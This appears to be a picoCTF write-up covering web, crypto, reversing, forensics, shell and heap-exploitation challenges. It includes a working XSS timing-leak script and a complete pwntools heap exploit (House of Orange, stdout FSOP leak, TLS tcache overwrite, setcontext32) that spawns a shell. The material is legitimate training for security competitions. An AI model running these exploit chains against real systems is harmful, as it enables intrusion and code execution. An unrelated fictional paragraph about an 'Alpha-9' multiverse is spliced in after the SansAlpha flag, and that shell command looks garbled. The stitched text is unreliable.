Try   HackMD

Web Exploitation

elements

Any URL in the form //#SOMETHING will crash the web server. We can use the timing of the crash to leak the flag.
The state of the program might be messed up if one of the leaks is mistimed. Also, the instancer seemed to be doing some kind of exponential backoff with the restart which is why part of the program is dedicating to automatically restarting the instance it every now and then

import requests from requests.adapters import HTTPAdapter, Retry import json import sys import time import os import re URL = "http://rhea.picoctf.net:63547/" # URL = "http://127.0.0.1:8080" def gen_payload(xss): return { "recipe": [ ["Earth", "Fire"], ["Air", "Water"], ["Earth", "Water"], ["Air", "Earth"], ["Fire", "Mist"], ["Magma", "Mist"], ["Air", "Rock"], ["Magma", "Mud"], ["Obsidian", "Water"], ["Fog", "Mud"], ["Hot Spring", "Sludge"], ["Fire", "Steam Engine"], ["Dust", "Heat Engine"], ["Fire", "Sand"], ["Hot Spring", "Steam Engine"], ["Electricity", "Glass"], ["Computer Chip", "Hot Spring"], ["Internet", "Smart Thermostat"], ["Computer Chip", "Electricity"], ["Glass", "Software"], ["Electricity", "Software"], ["Internet", "Program"], ["Computer Chip", "Fire"], ["Computer Chip", "Steam Engine"], ["Artificial Intelligence", "Data"], ["Encryption", "Software"], ["Cybersecurity", "Vulnerability"], ["Exploit", "Web Design"], ], "xss": xss, } def run_xss(sess, xss): payload = gen_payload(xss) # import base64; URL = "http://127.0.0.1:8080"; print(URL + "/#" + base64.b64encode(json.dumps(payload).encode()).decode()); 0/0 r = sess.get( URL.rstrip("/") + "/remoteCraft", params={"recipe": json.dumps(payload)} ) r.raise_for_status() if r.content != b"visiting!": raise AssertionError(f"Unexpected response: {r.content!r}") def is_fetch_sucessful(sess, url): try: r = sess.get(url) r.raise_for_status() except requests.exceptions.RequestException: return False return True def elapsed_before_crash(sess): start = time.time() while True: r = is_fetch_sucessful(sess, URL) elapsed = time.time() - start if not r: return elapsed if elapsed >= 12: raise AssertionError("site did not crash") raise AssertionError() def sleep_for_val(sess, value): # wait for service to come back up print("waiting for health...") while not is_fetch_sucessful(sess, URL): time.sleep(0.1) prelude = "let d=JSON.parse(atob(window.location.hash.slice(1)));" crash = "let s=document.createElement('script');s.src=location.protocol+'//'+location.host+'//';document.body.appendChild(s)" body = "setTimeout(()=>{" + crash + "}," + value + ")" xss = prelude + body print(value) print("submitting payload...") run_xss(sess, xss) print("waiting for crash...") return elapsed_before_crash(sess) def leak_nibble(sess, value): elapsed = sleep_for_val(sess, value) value = round(elapsed - 1.5) print("elapsed:", elapsed, "value:", value, "implied startup time:", elapsed - value) return value def leak_value(sess, expr): v = 0 for i in range(3): shift = f">>{i*3}" if i != 0 else "" value = f"(({expr}{shift})&7)*1e3" addend = leak_nibble(sess, value) << (i * 3) print(addend) v += addend return v def extract_instance_url(description): m = re.search( r"Craft some magic up <a href='([^']+)' target='_blank'>here", description ) return m.group(1) def restart_challenge(sess): global URL print("RESTARTING CHALLENGE") instance_url = "https://play.picoctf.org/api/challenges/447/instance/" cookie = os.environ["PICO_COOKIE"] csrf_token = re.search(r"csrftoken=([^;]+)(;|\s*$)", cookie).group(1) headers = { "Cookie": cookie, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0.1) Gecko/20100101 Firefox/123.0.1", "X-CSRFToken": csrf_token, } r = sess.put(instance_url, headers=headers) print(r.content) r.raise_for_status() while True: r = sess.get(instance_url, headers=headers) r.raise_for_status() d = r.json() if d["status"] == "RESTARTING": time.sleep(2) continue if d["status"] == "RUNNING": URL = extract_instance_url(d["description"]) print("NEW URL:", URL) break print(d) raise AssertionError() def main(): sess = requests.Session() #print(leak_value(sess, "d.flag.split(' ')[0].length")) restart_challenge(sess) # print(leak_value(sess, "Math.min(...Array.from(d.flag.trim()).map(c=>c.charCodeAt(0))) ")) # print(leak_value(sess, "d.flag.trim().indexOf(' '")) flag_len = 69 # print(leak_value(sess, "d.flag.split(' ')[0].length")) flag, cur_bits = b'', [] flag, cur_bits = map(list, (flag, cur_bits)) crashes = 0 for i in range(len(flag) * 8 + len(cur_bits), flag_len * 8, 3): print(bytes(flag), cur_bits, sep=", ") print("we have", len(flag), "out of", flag_len, "flag chars", f"({len(flag) / flag_len * 100:.2f}%)") have_bits = len(flag) * 8 + len(cur_bits) print("we have", have_bits, "out of", flag_len * 8, "flag bits", f"({have_bits / (flag_len * 8) * 100:.2f}%)") bit_array = ( "[...d.flag].map(i=>i.charCodeAt().toString(2).padStart(8,'0')).join('')" ) val = leak_nibble(sess, f"parseInt({bit_array}.slice({i},{i+3}),2)*1e3") crashes += 1 cur_bits += list(f"{val:03b}") if len(cur_bits) >= 8: byte = int("".join(cur_bits[:8]), 2) cur_bits = cur_bits[8:] flag.append(byte) print("crashes since restart:", crashes) if crashes >= 8: restart_challenge(sess) crashes = 0 print(bytes(flag)) if __name__ == "__main__": main()

Cryptography

flag printer

Source:

import galois import numpy as np MOD = 7514777789 points = [] for line in open('encoded.txt', 'r').read().strip().split('\n'): x, y = line.split(' ') points.append((int(x), int(y))) GF = galois.GF(MOD) matrix = [] solution = [] for point in points: x, y = point solution.append(GF(y % MOD)) row = [] for i in range(len(points)): row.append(GF((x ** i) % MOD)) matrix.append(GF(row)) open('output.bmp', 'wb').write(bytearray(np.linalg.solve(GF(matrix), GF(solution)).tolist()[:-1]))

We are also given encoded.txt, which contains points. The x values range from 0 to 1769610 with seemingly random y values. So the total length of the matrix is n = 1769611. The source offers a "solution" which would theoretically give us the flag if it were not far too slow for an

n by
n
matrix. The source solves the system of equations below.

[a0a1a2a3an][000102030n101112131n202122232n303132333nn0n1n2n3nn]=[y0y1y2y3yn]

np.linalg.solve() in the script given simply uses gaussian elimination which would solve the system in

O(n3). Unfortunately that is much too slow for n = 1769611. After googling we found the matrix to be a Vandermonde matrix which is related to Lagrange interpolation. This makes sense with the names x, y, and point in the code.

There were several

O(n2) algorithms listed on Wikipedia, but we thought they would be too slow. So we found a sub-quadratic Lagrange interpolation algorithm: https://codeforces.com/blog/entry/94143 (thanks grhkm!). So we simply implemented idea 2 on the blog in sage. The solution took 5 hours, but I think we could have optimized it by computing
m0
and
m1
and storing them in a tree when computing the initial
M
. But it worked anyway so I didn't care, maybe I'll optimize it later.

mod = 7514777789 points = [] for line in open('encoded.txt', 'r').read().strip().split('\n'): x, y = line.split(' ') points.append((int(x), int(y))) F = GF(mod) R.<x> = F['x'] def multiply_poly_list(poly_list): # multiplies many polynomials with log n multiplications if len(poly_list) == 1: return poly_list[0] n = len(poly_list) // 2 return multiply_poly_list(poly_list[:n]) * multiply_poly_list(poly_list[n:]) M = multiply_poly_list([x - i for i in range(len(points))]) d_M = derivative(M) poly_total_evals = 2*len(points) - 1 poly_evals = 0 def calc_poly(points, start_index): # progress bar global poly_evals poly_evals += 1 if poly_evals % 1000 == 0: print(str(round(poly_evals / poly_total_evals * 100.0, 2)) + "%") # start index is the where the global points[start_index] = local points[0] # basically keep track of where we are in the recursion n = len(points) if n == 1: x_i = points[0][0] y_i = points[0][1] v = y_i / d_M(x_i) return v f0 = calc_poly(points[:n//2], start_index) f1 = calc_poly(points[n//2:], start_index + n//2) m0 = multiply_poly_list([x - (i + start_index) for i in range(n//2)]) m1 = multiply_poly_list([x - (i + start_index) for i in range(n//2, n)]) return f0* m1 + f1 * m0 poly = calc_poly(points, 0) coeffs = poly.numerator().list() with open('out.txt', 'w') as f: f.write('\n'.join([str(i) for i in coeffs])) print("Written to out.txt!")

According to the image that we got from this the intended solution was apparently supposed to be FFT

image

Reverse Engineering

WinAntiDbg0x300

Unpack the binary with the UPX CLI tool, patch out the while (true) loop and use ScyllaHide to bypass the other protections.

Forensics

Dear Diary

"Diary" refers to the ext4 journal. Find all ext4 journal entries that refer to innocuous-file.txt, because something being labelled as innocuous is usually a sign that you should investigate it.

import subprocess from tqdm import tqdm results=[] target=b'innocuous-file.txt' for i in tqdm(range(0,8190+1)): out = subprocess.check_output(['jcat', 'fs.img', str(i)]) if target in out: results.append(i) print(results)

Going through these entries, we find that starting at entry #2039 there are fragments of the flag stored in each entry:

$ jcat fs.img 2039 | xxd 00000000: 3207 0000 0c00 0102 2e00 0000 cc00 0000 2............... 00000010: 0c00 0202 2e2e 0000 3307 0000 1800 0d01 ........3....... 00000020: 666f 7263 652d 7761 6974 2e73 6800 0000 force-wait.sh... 00000030: 3407 0000 3800 1201 696e 6e6f 6375 6f75 4...8...innocuou 00000040: 732d 6669 6c65 2e74 7874 0000 0000 0000 s-file.txt...... 00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000060: 0000 0000 0000 0000 3507 0000 8c03 0301 ........5....... 00000070: 7069 6300 0000 0000 0000 0000 0000 0000 pic............. 00000080: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000090: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000000a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000000b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000000c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000000d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000000e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000000f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000100: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000110: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000120: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000130: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000140: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000150: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000160: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000170: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000180: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000190: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000001a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000001b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000001c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000001d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000001e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000001f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000200: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000210: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000220: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000230: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000240: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000250: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000260: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000270: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000280: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000290: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000002a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000002b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000002c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000002d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000002e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000002f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000300: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000310: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000320: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000330: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000340: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000350: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000360: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000370: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000380: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000390: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000003a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000003b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000003c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000003d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000003e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000003f0: 0000 0000 0000 0000 0c00 00de 89d6 47c9 ..............G.

Putting these fragments together will give us the flag.

General Skills

SansAlpha

Use $_ to refer to the last argument of the previous command, and extract characters from there

SansAlpha$ * bash: blargh: command not found SansAlpha$ *; ${_:3:2}${_:8:1} *${_4:1}*/* bash: blargh: command not found return 0 picoCTF{7h15_mu171v3r53_15_m4dn355_145256ec}Alpha-9, a distinctive layer within the Calastran multiverse, stands as a sanctuary realm offering individuals a rare opportunity for rebirth and introspection. Positioned as a serene refuge between the higher and lower Layers, Alpha-9 serves as a cosmic haven where beings can start anew, unburdened by the complexities of their past lives. The realm is characterized by ethereal landscapes and soothing energies that facilitate healing and self-discovery. Quantum Resonance Wells, unique to Alpha-9, act as conduits for individuals to reflect on their past experiences from a safe and contemplative distance. Here, time flows differently, providing a respite for those seeking solace and renewal. Residents of Alpha-9 find themselves surrounded by an atmosphere of rejuvenation, encouraging personal growth and the exploration of untapped potential. While the layer offers a haven for introspection, it is not without its challenges, as individuals must confront their past and navigate the delicate equilibrium between redemption and self-acceptance within this tranquil cosmic retreat.

Binary Exploitation

high frequency troubles

Source code of the program:

#include <stdio.h> #include <stdlib.h> #include <stdint.h> enum { PKT_OPT_PING, PKT_OPT_ECHO, PKT_OPT_TRADE, } typedef pkt_opt_t; enum { PKT_MSG_INFO, PKT_MSG_DATA, } typedef pkt_msg_t; struct { size_t sz; uint64_t data[]; } typedef pkt_t; const struct { char *header; char *color; } type_tbl[] = { [PKT_MSG_INFO] = {"PKT_INFO", "\x1b[1;34m"}, [PKT_MSG_DATA] = {"PKT_DATA", "\x1b[1;33m"}, }; void putl(pkt_msg_t type, char *msg) { printf("%s%s\x1b[m:[%s]\n", type_tbl[type].color, type_tbl[type].header, msg); } // gcc main.c -o hft -g int main() { setbuf(stdout, NULL); setbuf(stdin, NULL); putl(PKT_MSG_INFO, "BOOT_SQ"); for (;;) { putl(PKT_MSG_INFO, "PKT_RES"); size_t sz = 0; fread(&sz, sizeof(size_t), 1, stdin); pkt_t *pkt = malloc(sz); pkt->sz = sz; gets(&pkt->data); switch (pkt->data[0]) { case PKT_OPT_PING: putl(PKT_MSG_DATA, "PONG_OK"); break; case PKT_OPT_ECHO: putl(PKT_MSG_DATA, (char *)&pkt->data[1]); break; default: putl(PKT_MSG_INFO, "E_INVAL"); break; } } putl(PKT_MSG_INFO, "BOOT_EQ"); }

This looks like the setup for a typical CTF heap challenge. But the first thing that we notice is that there's no way to free any of the chunks we allocate, which eliminates a lot of heap exploits as malloc()-only exploits have a limited range when it comes to corrupting the heap (most exploits depend on freeing chunks to get them into bins or otherwise modify the heap's state). Also, since gets() adds a null byte to the end of user input, we can't leak any data directly using PKT_OPT_ECHO either because the null byte will prevent us from reading past the end of our input. But we do have a heap overflow via gets(), and an allocation of controlled size.

The first thing we need to figure out is how we are going to get a libc leak. Even if we find some way to get an arbitrary write, it's going to be hard to get RCE if we don't know the addresses of functions in libc (like system()). Usually in heap challenges the strategy is to allocate a chunk that is too big for tcache at the start and then to free it, which would give us a libc leak in the fd/bk pointers (which would point inside the main_arena struct, assuming that there are no other chunks in the same bin that they could point to).

Thankfully there is a technique called the House of Orange that lets us get a free chunk without actually having access to free(): https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c. The basic idea is to corrupt the size of the top chunk in the heap. The original FSOP technique used to gain RCE in House of Orange has been patched but the heap exploitation part still works. Since we have an overflow that can extend into the top chunk, we can use this to get a free chunk and get pointers to libc in the heap. Note that it won't work with small sizes like 0x11 and you might have to adjust allocation sizes if it gets too small.

However, after we get the libc pointers in the heap, we still need some way to output them or we won't be able to leak them. We can't use PKT_OPT_ECHO to leak memory so I researched leakless heap exploitation techniques and found House of Rust, which references this technique that uses FSOP to leak libc addresses: https://vigneshsrao.github.io/posts/babytcache/. The basic idea is to corrupt the stdout file struct so that it leaks memory in libc. However, the last byte of _IO_write_base was set to 0x03 with the provided libc, which was not enough to leak a libc address. I ended up having to add another null byte to expand the leaked range. The exact size and contents of the leak would change based on ASLR, but I was able to find a specific libc address to leak (specifically _IO_2_1_stdin_) by indexing backwards instead of forwards.

We now need some primitive to get arbitrary write so we can corrupt stdout. This is where I used the hint to allocate an mmap()ed chunk. Through some research, I found this document: https://github.com/Naetw/CTF-pwn-tips, which had this useful part about the TLS section, which just happened to lie after mmap()ed chunks:

Secret of a mysterious section - .tls

constraints:

  • Need malloc function and you can malloc with arbitrary size
  • Arbitrary address leaking

We make malloc use mmap to allocate memory(size 0x21000 is enough). In general, these pages will be placed at the address just before .tls section.

There is some useful information on .tls, such as the address of main_arena, canary (value of stack guard), and a strange stack address which points to somewhere on the stack but with a fixed offset.

Before calling mmap:

7fecbfe4d000-7fecbfe51000 r--p 001bd000 fd:00 131210         /lib/x86_64-linux-gnu/libc-2.24.so
7fecbfe51000-7fecbfe53000 rw-p 001c1000 fd:00 131210         /lib/x86_64-linux-gnu/libc-2.24.so
7fecbfe53000-7fecbfe57000 rw-p 00000000 00:00 0
7fecbfe57000-7fecbfe7c000 r-xp 00000000 fd:00 131206         /lib/x86_64-linux-gnu/ld-2.24.so
7fecc0068000-7fecc006a000 rw-p 00000000 00:00 0              <- .tls section
7fecc0078000-7fecc007b000 rw-p 00000000 00:00 0
7fecc007b000-7fecc007c000 r--p 00024000 fd:00 131206         /lib/x86_64-linux-gnu/ld-2.24.so
7fecc007c000-7fecc007d000 rw-p 00025000 fd:00 131206         /lib/x86_64-linux-gnu/ld-2.24.so

After call mmap:

7fecbfe4d000-7fecbfe51000 r--p 001bd000 fd:00 131210         /lib/x86_64-linux-gnu/libc-2.24.so
7fecbfe51000-7fecbfe53000 rw-p 001c1000 fd:00 131210         /lib/x86_64-linux-gnu/libc-2.24.so
7fecbfe53000-7fecbfe57000 rw-p 00000000 00:00 0
7fecbfe57000-7fecbfe7c000 r-xp 00000000 fd:00 131206         /lib/x86_64-linux-gnu/ld-2.24.so
7fecc0045000-7fecc006a000 rw-p 00000000 00:00 0              <- memory of mmap + .tls section
7fecc0078000-7fecc007b000 rw-p 00000000 00:00 0
7fecc007b000-7fecc007c000 r--p 00024000 fd:00 131206         /lib/x86_64-linux-gnu/ld-2.24.so
7fecc007c000-7fecc007d000 rw-p 00025000 fd:00 131206         /lib/x86_64-linux-gnu/ld-2.24.so

After some more research I found out that TLS was actually Thread Local Storage. I did a search for variables with the __thread indicator in the glibc 2.35 source to find anything that I could overwrite, and sure enough, I found out that the pointer to each thread's tcache_perthread_struct was stored in the TLS:

typedef struct tcache_perthread_struct { uint16_t counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct; static __thread bool tcache_shutting_down = false; static __thread tcache_perthread_struct *tcache = NULL;

For whatever strange reason the TLS would be placed before and after libc very consistently depending on the environment. On spencerpogo's Ubuntu docker container (where the host was NixOS) it would change depending on what folder the binary was placed in (and it didn't seem to be linked to the length of the file path either). Thankfully though the TLS was placed before libc on the challenge remote.

Using GDB, I found out that the default tcache_perthread_struct was stored as a chunk at the beginning of the heap. So we could partially overwrite the tcache variable to point somewhere else in the heap and hopefully get an arbitrary allocation. With some more experimentation with GDB I found out that the size of thecounts array in tcache_perthread_struct was 0x80. If the pointer inside main_arena that we got earlier was stored at address x, then setting tcache to x-0x80 would make the first tcache_entry point inside libc.

This is the only part of the exploit that depends on being lucky because of the partial overwrite. Unfortunately, because of null bytes, the best probability we can get is

14096. It's impossible to overwrite with only the trailing null byte because we would need an underflow to write to the resulting address. We also can't overwrite with one arbitrary byte and one null byte because the 5th nibble from the right will be different i.e. if our fake tcache_perthread_struct is at an address that looks like 0x20000, then the original tcache_perthread_struct's address would start around 0x20000 - 0x1000 = 0x1f000, which has a different 5th nibble. However, two arbitrary bytes and a null byte will work as long as the 4th nibble from the right is non-zero (so that the aforementioned problem doesn't occur).

Finally, after we get a leak, we just need to get another arbitrary write to get RCE. There are many ways you could proceed here but the simplest way is to just use Sammy Hajhamid's setcontext32, which just needs a single arbitrary write and a libc leak. Instead of finding a new write primitive, we can just reuse the one we used earlier by allocating another mmap()ed chunk and overflowing into the TLS. Except this time we know the address of libc so we don't have to guess. Since fd and bk both point inside main_arena we can actually get another allocation inside libc by allocating a chunk that has a size that corresponds to the entry index 1. As we know the address of libc, we can just forge another tcache_perthread_struct here.

A problem with this is that we've corrupted the state of main_arena so much that it'll crash before it gets to the mmap logic. To fix this I just restored as much of the original state as possible (where the pointer at addresses x, x+0x8 point to x-0x10 where x & 0xf is 0). After doing this we won't have enough space for a complete tcache_perthread_struct as we'll start corrupting some IO structures but we really only need enough space for the counts array and our pointer to the libc GOT that we use for setcontext32.

Finally, we just need to get an allocation to the libc GOT and write our setcontext32 payload there. Unfortunately, the program will write our allocation size to the first 8 bytes of our allocation, but we need the value 0x0 in the first 8 bytes. We can bypass this by abusing an implementation quirk in libc: malloc(0x0) will go through the typical allocation logic (and in this case end up using the tcache as it's in the range of sizes). After this, setcontext will eventually get triggered by a function and we'll get a shell.

The hardest part of solving this using this method was letting the script until we hit the magical 1/4096 chance. It took some time but it eventually got us the flag. Sometimes tcache would end up pointing somewhere readable/writable but not to our forged tcache_perthread_struct which would cause the program to continue normally but without any leaks. We let it run for a few hours (restarting it if it froze/the instance ended) and Mathnetic eventually got it on the 74th try on one of his (multiple) runs.

Here's our solve script (hopefully cleaned up enough):

#!/usr/bin/env python3 from pwn import * import string import tqdm import logging context.terminal = ["tmux", "splitw", "-h"] exe = ELF("./hft_patched", checksec=False) libc = ELF("./libc.so.6", checksec=False) #ld = ELF("./ld-2.35.so", checksec=False) context.binary = exe #context.log_level='debug' #logging.getLogger().setLevel(logging.ERROR) gdbscript = [ # "b main.c:53" "b *main+159", # instruction after malloc() "b *main+195", #instruction after gets() # "dis 1", "commands", "silent", "end", "source ./cmds.py", "continue", #"c", "c", "c", "c", "c", #"vmmap", "vmmap_var $rax" #"set tcache = 0x55555555c000", #"c", #"c", "c", ] def conn(): #return remote('tethys.picoctf.net', 54751) argv = [exe.path] if args.GDB: #r = gdb.debug(argv, gdbscript="\n".join(gdbscript), api=True) r = process(argv) gdb.attach(r, gdbscript="\n".join(gdbscript)) return r return process(argv) PKT_OPT_ECHO = 1 MALLOC_THRESHOLD = 0x20000 def malloc(r, size, data, clean=True): r.send(pack(size)) r.sendline(data) if clean: r.recvline() r.recvline() #https://hackmd.io/@pepsipu/SyqPbk94a def create_ucontext( src: int, rsp=0, rbx=0, rbp=0, r12=0, r13=0, r14=0, r15=0, rsi=0, rdi=0, rcx=0, r8=0, r9=0, rdx=0, rip=0xDEADBEEF, ) -> bytearray: b = bytearray(0x200) b[0xE0:0xE8] = p64(src) # fldenv ptr b[0x1C0:0x1C8] = p64(0x1F80) # ldmxcsr b[0xA0:0xA8] = p64(rsp) b[0x80:0x88] = p64(rbx) b[0x78:0x80] = p64(rbp) b[0x48:0x50] = p64(r12) b[0x50:0x58] = p64(r13) b[0x58:0x60] = p64(r14) b[0x60:0x68] = p64(r15) b[0xA8:0xB0] = p64(rip) # ret ptr b[0x70:0x78] = p64(rsi) b[0x68:0x70] = p64(rdi) b[0x98:0xA0] = p64(rcx) b[0x28:0x30] = p64(r8) b[0x30:0x38] = p64(r9) b[0x88:0x90] = p64(rdx) return b def setcontext32(libc: ELF, **kwargs) -> (int, bytes): got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT") plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr return got, flat( #p64(0), #sz already written by the program p64(got + 0x218), p64(libc.symbols["setcontext"] + 32), p64(plt_trampoline) * 0x40, create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs), ) #template from spencerpogo curr_remote = None oll='info' def main(): global curr_remote, oll r = conn() curr_remote = r r.recvline() # prev size of top chunk: X with PREV_INUSE set so X|0x1 # set to (X|0x1)&0xfff to maintain page alignment and PREV_INUSE shift=0x980+0x280-0x220 malloc(r, (0x400 - 16+shift), flat({0x400 - 16+shift: pack(0xd71+0x220)}, length=0x400-16+shift+8)) malloc(r, 0x1000, b"AAAABBBBCCCCDDDD") # allocate a chunk over the mmap threshold malloc(r, 0x20fd0, b'a'*(0x216e8-8)+b'\x00\x50') # pray that the last 3 nibbles are correct, then leak malloc(r, 0x10, b'\x00'*(0x7ffff7fad780 - 0x7ffff7fad2f0-0x8)+p32(0xfbad1800)+p32(0)+p64(0)*3+b'\x00', False) print('reading in libc leak') oll=context.log_level context.log_level='debug' data=r.recvuntil(bytes.fromhex('5b 50 4f 4e 47 5f 4f 4b 5d 0a')) print('done reading in leak') context.log_level=oll leak = u64(data[-56:-48]) print('libc leak =', hex(leak)) libc.address = leak - libc.sym['_IO_2_1_stdin_'] print('libc.address =', hex(libc.address)) dest, payload = setcontext32( libc, rip=libc.sym['system'], rdi=next(libc.search(b'/bin/sh')) ) #62 more pointers in the bins #allocation is at main_arena+0x670 bins=b'' #sz+this pointer bins+=p64(libc.sym['main_arena']+0x670-0x10) #60 more pointers cnt=60 ptr=libc.sym['main_arena']+0x670-0x10 while cnt>0: ptr+=0x10 cnt -= 2 bins+=p64(ptr)*2 #fake tcache_perthread_struct print('target', hex(dest)) malloc(r,0x20,bins+p16(1)*64+p64(dest)) malloc(r,0x20fd0,b'a'*(0x426e8-0x8)+p64(libc.address+0x21a560-0x80)) malloc(r,0x0,payload, False) # pray for shell r.sendline(b'cat flag*') r.interactive() return True if __name__ == "__main__": shell = False tryn = 1 while not shell: print('try #'+str(tryn)) try: shell = main() except Exception as e: logging.exception('error') if type(e) is pwnlib.exception.PwnlibException: exit(1) context.log_level=oll curr_remote.close() tryn += 1